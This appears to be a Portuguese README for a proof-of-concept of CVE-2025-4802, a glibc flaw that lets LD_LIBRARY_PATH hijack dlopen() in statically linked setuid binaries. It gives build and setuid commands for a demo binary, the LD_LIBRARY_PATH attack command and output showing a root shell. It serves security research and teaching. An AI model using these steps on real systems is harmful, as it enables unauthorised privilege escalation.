
Prova de Conceito para um binário setuid compilado estaticamente vulnerável a dlopen com LD_LIBRARY_PATH
⚠️ Aviso: Este repositório destina-se apenas a fins educacionais e de pesquisa de segurança autorizada. Não utilize este exploit contra sistemas que não lhe pertencem ou para os quais não tem permissão explícita de teste. A utilização indevida pode violar leis e regulamentos.
| Campo | Detalhes |
|---|---|
| ID da CVE | CVE-2025-4802 |
| Software Afetado | GNU C Library (glibc) |
| Versões Afetadas | 2.27 – 2.38 |
| Tipo de Vulnerabilidade | Escalação de Privilégios via LD_LIBRARY_PATH Não Confiável |
| Vetor de Ataque | Local |
Uma vulnerabilidade na GNU C Library (glibc) nas versões 2.27 a 2.38 permite a um atacante explorar a variável de ambiente LD_LIBRARY_PATH em binários setuid compilados estaticamente que chamam dlopen().
Normalmente, o linker dinâmico sanitiza LD_LIBRARY_PATH para programas setuid. No entanto, binários compilados estaticamente contornam completamente o linker dinâmico, pelo que LD_LIBRARY_PATH nunca é limpo. Quando tal binário chama dlopen() (direta ou indiretamente via setlocale() ou funções NSS como getaddrinfo()), a glibc resolve bibliotecas partilhadas usando o LD_LIBRARY_PATH controlado pelo atacante, permitindo execução de código arbitrário com privilégios elevados.
dlopen("myso.so", ...) para carregar um objeto partilhado por nome (não por caminho absoluto).ld-linux.so) nunca é executado, pelo que LD_LIBRARY_PATH não é sanitizado.myso.so) que exporta o mesmo símbolo hello() mas lança uma shell root.LD_LIBRARY_PATH para apontar para o diretório que contém a biblioteca maliciosa..
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version)gcc, makemake all
Ou manualmente:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Saída esperada:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (comportamento malicioso)LD_LIBRARY_PATH=./evil_library ./main
Saída esperada:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
O binário carrega o myso.so do atacante a partir de evil_library/ em vez do legítimo, lançando uma shell root.

Está também disponível uma demonstração em vídeo: proof_of_concept_video.mp4
dlopen()dlopen() em vez de nomes de bibliotecas simplesdlopen()